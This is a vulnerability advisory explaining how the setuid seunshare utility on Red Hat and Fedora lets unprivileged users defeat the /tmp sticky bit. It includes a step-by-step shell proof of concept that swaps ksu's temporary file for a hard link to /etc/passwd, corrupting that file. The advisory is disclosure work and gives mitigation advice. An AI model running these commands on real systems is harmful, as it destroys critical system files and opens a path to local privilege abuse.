Developers should not rely on the stickiness of /tmp on Red Hat Linux
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Recent versions of Red Hat Enterprise Linux and Fedora provide seunshare, a
setuid root utility from policycore-utils intended to make new filesystem
namespaces available to unprivileged processes for the purpose of sandboxing.

The intention is to permit unprivileged users to mount a new temporary
directory on /home and /tmp for sandboxed processes, thus preventing
access to the contents of the original directories in the event of a
compromise.

One unintended side effect of making these features available to unprivileged
processes is that users can now change how setuid applications perceive /tmp
and /home.

The purpose of this advisory is to inform developers and system administrators
of affected systems that unprivileged users can effectively remove the
sticky-bit from the system /tmp directory, and thus relying on the stickiness
of /tmp on redhat systems is no longer safe.

This advisory is intended for system administrators and developers of
Red Hat Linux systems; journalists, end users and other non-technical
readers do not need to be concerned.

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Affected Software
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All known versions of policycore-utils are affected.

I discussed the potentially dangerous implications of introducing this change
with Red Hat Security in September 2010, but FC14 and RHEL6 still exhibit this
behaviour post-launch.

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Consequences
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A simple example of a common application that is now unsafe is ksu, from the
krb5 distribution. ksu creates a temporary file in /tmp, then clears it on
authentication failure.

This is normally a safe operation, as /tmp is protected by the sticky bit.

However, we can use seunshare to interfere with this process.

# create a new directory that we control
$ mkdir /tmp/seunshare

# use seunshare to mount it on /tmp and /home and run our setuid root binary
$ seunshare -v -t /tmp/seunshare/ -h /tmp/seunshare/ -- `which ksu` root &>/dev/null &
[1]+  Stopped                 seunshare -v -t /tmp/seunshare/ -h /tmp/seunshare/ -- `which ksu` root

# we can examine the mounts visible to the process using the /proc interface
$ grep /tmp /proc/$(pidof ksu)/mountinfo
66 64 1:1 /tmp/seunshare /tmp

# here is the temporary file created by ksu during authentication
$ ls -l /tmp/seunshare/
total 4.0K
-rw-------. 1 root taviso 35 Feb 18 23:21 krb5cc_0.1

# as we own the directory, and the sticky-bit is not set, we are permitted to
# unlink files
$ rm -f /tmp/seunshare/krb5cc_0.1

# now we can replace the file with a link
$ ln /etc/passwd /tmp/seunshare/krb5cc_0.1

# make ksu authentication fail.
$ fg
seunshare -v -t /tmp/seunshare/ -h /tmp/seunshare/ -- `which ksu` root

And /etc/passwd was damaged, thus breaking the system.

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Credit
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This bug was discovered by Tavis Ormandy.

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Greetz
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Thanks to Kees, Hawkes, Dan and Julien for their help. Greetz to everyone in
$1$kk1q85Xp$Id.gAcJOg7uelf36VQwJQ/, and all my other elite friends and colleagues.

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Notes
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Although only an example of damaging a system has been provided, it's
reasonable to assume that various applications rely on the stickiness of
/tmp to prevent code execution.

Administrators are advised to remove the setuid bit from seunshare, or
restrict access to it.

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References
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None.

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